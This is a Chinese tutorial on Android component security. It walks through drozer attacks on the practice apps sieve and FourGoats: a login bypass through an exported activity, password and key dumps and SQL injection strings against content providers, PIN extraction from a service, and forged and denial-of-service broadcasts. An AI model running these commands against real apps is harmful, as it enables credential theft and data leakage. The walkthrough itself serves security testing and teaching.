电子说
前言
随着手机市场的快速发展,各式各样的手机应用层出不穷。而手机应用安全也成为一个热门的话题,在海量的APP应用中,可能会遇到各种各样的威胁:木马、病毒、篡改、破解、钓鱼、二次打包、信息泄露、资源篡改、信息劫持等。而今天呢,我们将从Android组件安全的角度,通过实例演示的方式来揭露APP可能存在的、暴露在外的风险及薄弱点。
Android四大组件
先带大家了解下Android的四大组件,分别是activity组件、service组件、content provider组件和broadcast receiver组件,这四个组件分别起到不同的作用,相互配合才能确保安卓系统的正常运行,因此是缺一不可的。
Activity(活动)组件
Activity可以看成是安卓系统的根本,在这个根本上才可以进行其他的工作,因为在安卓系统里运行的所有的程序,它的流程都必须在【活动】中运行,所有他是最基本的模块。它的作用是一个框架或页面,每个程序会有多个【活动】组成。所以在Android App 中只要能看见的几乎都要依托于Activity,所以Activity是在开发中使用最频繁的一种组件。(1)一个Activity通常就是一个单独的屏幕(窗口)。(2)Activity之间通过Intent进行通信。(3)android应用中每一个Activity都必须要在AndroidManifest.xml配置文件中声明,否则系统将不识别也不执行该Activity。
Service(服务)组件
Service是安卓里非常很重要的组件,它的地位和优先级别是与活动相似的,不过Service不能够自己运行,它只能在安卓的后台运行。它的作用就是与安卓的其他逐渐进行交互,举个简单例子:当我们打开手机上音乐播放器并将它放到后台,此时播放的音乐就是由Service在负责控制。(1)service用于在后台完成用户指定的操作。(2)开发人员需要在应用程序AndroidManifest.xml配置文件中声明全部的service,使用标签。(3)Service通常位于后台运行,它一般不需要与用户交互,因此Service组件没有图形用户界面。Service组件需要继承Service基类。Service组件通常用于为其他组件提供后台服务或监控其他组件的运行状态。
Content Provider(内容提供器)组件
Content Provider(内容提供器)用来管理和共享应用程序的数据库。在应用程序间,Content Provider是共享数据的首选方式。(1)android平台提供了Content Provider使一个应用程序的指定数据集提供给其他应用程序。其他应用可以通过ContentResolver类从该内容提供者中获取或存入数据。(2)只有需要在多个应用程序间共享数据是才需要内容提供者。例如,通讯录数据被多个应用程序使用,且必须存储在一个内容提供者中。它的好处是统一数据访问方式。(3)ContentProvider实现数据共享。ContentProvider用于保存和获取数据,并使其对所有应用程序可见。这是不同应用程序间共享数据的唯一方式,因为android没有提供所有应用共同访问的公共存储区。
broadcast receiver(广播接收者)组件
在安卓系统中,广播接收器并不是直接就可以看到的,它是程序之间传递信息时的一种机制,作用就是接收或者发送通知。通俗的来说广播接收器更像是一种传递组件,它能够将信息接收,甚至还可以对它进行过滤然后进行响应。(1)你的应用可以使用它对外部事件进行过滤,只对感兴趣的外部事件(如当电话呼入时,或者数据网络可用时)进行接收并做出响应。广播接收器没有用户界面。然而,它们可以启动一个activity或serice来响应它们收到的信息,或者用NotificationManager来通知用户。通知可以用很多种方式来吸引用户的注意力,例如闪动背灯、震动、播放声音等。一般来说是在状态栏上放一个持久的图标,用户可以打开它并获取消息。(2)广播接收者的注册有两种方法,分别是程序动态注册和AndroidManifest文件中进行静态注册。(3)动态注册广播接收器特点是当用来注册的Activity关掉后,广播也就失效了。静态注册无需担忧广播接收器是否被关闭,只要设备是开启状态,广播接收器也是打开着的。也就是说哪怕app本身未启动,该app订阅的广播在触发时也会对它起作用。
Android安全测试框架-drozer
drozer简介
drozer是一款针对Android的安全测试框架,分为安装在PC端的控制台、安装在终端上的代理APP两部分。可以利用APP的IPC通信,动态的发现被测试APP的安全风险。drozer最主要的功能就是对安卓APP四大组件activity、 broadcast receivers、 content providers、 services进行安全测试。
drozer安装
环境准备
1、python2.7环境,安装地址 2、安卓模拟器(我用的MuMu)或一台安卓实体机 3、java环境1.7,安装地址(我用的jdk1.8,目前使用无问题) 4、adb,安装地址 4、drozer、agent.apk、sieve(待测app) 安装地址 5、FourGoats(待测app)安装地址
Mac安装drozer
1.python2.7(系统自带),也可直接下载安装
2.java环境,直接下载安装
3.adb可以从上述安装地址下载相应安装包,解压后配置下环境变量即可.这里仅演示下Mac的安装方式:
安装homebrew(已安装的话可跳过) ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
安装adb brew install android-platform-tools 测试是否安装成功 adb devices
1. drozer、agent.apk、sieve(待测app) 访问上述链接,直接下载安装相应安装包
安装成功后,执行drozer命令输出如下:
将下载好的agent.apk与sieve.apk、FourGoats.apk安装到模拟器或安卓实体机中
以上就是drozer的安装步骤,Windows和Linux平台上的安装大体上类似,就不一一测试了。
drozer实例演示
接下来将带大家实例操作下通过利用drozer,来挖掘目标app的漏洞隐患
drozer连接过程
第一步:adb连接模拟器或实体机
出现上述设备编号及状态,显示连接成功
1.开启模拟器,在电脑终端中输入命令:adb devices
注:如果输出中看不到模拟器,这可以使用adb kill-server,先杀死adb服务,在尝试下adb devices
2.如果是通过实体机进行测试的话,需要通过USB数据线与电脑相连,USB连接步骤如下:
1、手机:设置---->更多设置---->开发者选项---->USB调试 注释:如果在设置里找不到开发者选项,可以通过 设置----->关于手机----->连续点击“版本号”多次。2、手机和电脑上都有驱动(360助手等),并且用USB线连接上了;3、电脑:cmd进入命令窗口:adb devices 4、连接成功会显示设备编号和状态。
第二步:端口转发
连接成功后,接下来我们建立一个合适的端口用于转发来使得我们的pc可以和模拟器中drozeragent打开的tcp套接字进行连接,drozer默认端口为31415执行命令:adb forward tcp:31415 tcp:31415
第三步:连接drozer
在模拟器中打开drozer应用程序,并开启
打开新的终端窗口,执行命令drozer console connect出现以下画面,显示连接成功
配置sieve应用程序
打开我们下载好的sieve应用程序,它是一款密码管理软件,专门被设计出来用于安卓应用常见漏洞的学习使用。首先需要设置16位的masterpassword,为演示方便密码设为:1234567812345678
然后需要设置4位的pin码:1234
完成上述操作后,可以新建数据进行保存
退出登录,打开验证,需输入密码才能读取数据
至此操作完毕。
drozer实战
drozer的常用命令有这几种:
常用测试命令 | 作用 |
基本语法 | run 具体命令 [-参数] |
run app.package.list | 列出所有包名(软件) |
run app.package.info -a 包名 | 查看某个软件(包名)的具体信息 |
run app.package.attacksurface 包名 | 查看某个软件的攻击面 |
run app.activity.info -a 包名 | 查看某个软件的 activity 组件的具体攻击面 |
run app.activity.start --component | 包名 具体activity 启动某个 activity |
run app.provider.info -a 包名 | 查看某个软件的 provider 组件的具体攻击面 |
run app.provider.finduri 包名 | 列出某个软件的 URI |
run app.provider.query content://xxxxxURI | 查看某个URI内容 |
run app.provider.query content://xxxxxURI --projection "'" | 检测某个 URI 是否存在注入 |
run app.provider.query content://xxxxxURI --selection "'" | 检测某个 URI 是否存在注入 |
run app.provider.query content://xxxxxURI --projection "* FROM SQLITE_MASTER WHERE type='table';--" | 针对某个 URI 进行注入 |
run app.provider.read content://xxxxxURI | 通过某个 URI 读取文件 |
run app.provider.download content://xxxxxURI 主机目录/文件名 | 通过某个 URI 下载文件 |
run app.service.info -a 包名 | 查看某个软件的 service 组件的具体攻击面 |
run app.service.start --action 某个 action | 启动某个 service |
run app.broadcast.info -a 包名 | 查看某个软件的 broadcast 组件的具体攻击面 |
run app.broadcast.send -action 某个 action --extra TYPE KEY VALUE | 执行某个 broadcast 组件的 action,并传递参数 |
run scanner.provider.finduris -a 包名 | 寻找可访问 URI |
run scanner.provider.traversal -a 包名 | 探测存在目录遍历的 URI |
run scanner.provider.injection -a 包名 | 探测存在注入的 URI |
渗透攻击
首先我们执行run app.package.list 列出设备中所有安装的应用程序 从中我们可以发现sieve的包名信息
执行run app.package.info -a com.mwr.example.sieve查看待测APP详细信息,包括版本,app在设备中保存数据的地方,app安装的位置以及关于应用权限的大量细节。
执行run app.package.attacksurface com.mwr.example.sieve命令,来获取针对待测app sieve的攻击面。activities exported 越权攻击,发送伪造消息等;broadcast receivers exported 发送恶意广播,伪造广播消息,越权攻击等;content providers exported 数据泄漏,SQL注入等;services exported 越权攻击,服务拒绝,权限提升等;
我们可以看到上图潜在的可被导出的且暴露在外的相关组件种类及数量。
攻击Activity
我们可以先从activity入手,通过一些特殊命令来深入研究暴露的攻击面。执行run app.activity.info -a 包名来列出指定包的所有activity。
我们可以看到目前有三种activity可被导出,其中MainLoginActivity是登录界面,而PWList是登录后的密码加载页面,既然此页面可被导出且不需要权限,我们可以通过命令来启动可导出且不需要权限的activity 执行run app.activity.start --component 包名 activity名。
我们可以看到,程序调用成功,已经成功绕过了登录界面,进入了登录后密码读取页面。
攻击Content Providers
1. 数据泄露 执行run app.provider.info -a 包名,列出可被导出的provider
通过上述图片,我们可以看出存在两种provider组件可被导出,分别是DBContentProvider和FileBackupProvider 其中只有DBContentProvider的/Keys路径下需要权限访问外,其他均不需要任何特定的权限就可以与之交互 通过使用drozer的scanner模块去猜测可能存在的URIs,执行run scanner.provider.finduris -a 包名。
扫描结果可以看到成功扫描出3条可读取目录文件,使用其他的drozer模块从目录URI中获得信息,甚至可以修改数据库中的数据 执行命令run app.provider.query --vertical content://com.mwr.example.sieve.DBContentProvider/Passwords/
执行命令
run app.provider.query --vertical content://com.mwr.example.sieve.DBContentProvider/Keys/
成功读取出sieve加密后初始密码及pin码等 2. SQL注入 因为安卓平台比较推荐使用SQLite数据库存储用户数据,我们可以查找可进行sql注入的URIs 执行命令run scanner.provider.injection -a 包名
可以看出Projection参数和Selection参数均存在注入,我们使用projection参数传递sql注入语句到content provider中 执行命令run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
报错了,说明应该是存在SQL注入的,通过构造注入语句,来列出数据库中的所有表。执行命令run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* from sqlite_master where type='table';--" --vertical
执行命令run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* from Key;--"
攻击Service
执行命令run app.service.info -a 包名。列出可被导出的基本service信息,可以看到AuthService和CryptoService可被导出。
通过执行命令run app.service.send com.mwr.example.sievecom.mwr.example.sieve.AuthService --msg 2354 9234 0 --extra stringcom.mwr.example.sieve.PIN 1234 --bundle-as-obj
我们可以直接获取其初始密码,其中 --msg what arg1 arg2指定获取消息时要使用的what、arg1和arg2值 我们可以利用android killer反编译工具对sieve进行反编译
提取其目标服务源码
通过分析其逻辑可以确定其what和arg1参数,不过输出的结果,需要在参数中输入其pin值才可以获取
攻击broadcast
关于broadcast组件的漏洞利用,可通过可导出的组件进行发送恶意广播或者进行拒绝服务攻击。我们使用FourGoats进行测试 执行命令run app.broadcast.info -a 包名。列出可被导出的broadcast组件基本信息,我们可以看到存在一项可被导出的组件。
1. 发送恶意广播 由于运行broadcast组件需要找到其对应的action,所以我们需要反编译app,使用android killer对其反编译,并在AndroidManifest.xml中找到对应actionorg.owasp.goatdroid.fourgoats.SOCIAL_SMS。
在分析其组件源码运行逻辑可知需要使用两个参数:phoneNumber、message。
所以执行命令run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 123 --extra string message 123
2.拒绝服务 前面我们已获取其对应的action,直接执行命令run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS
至此,演示结束,目前我们已提取了其软件用户名、密码、pin码等,也发现了诸多典型的漏洞,如SQL注入、目录遍历、拒绝服务等。
全部0条评论
快来发表一下你的评论吧 !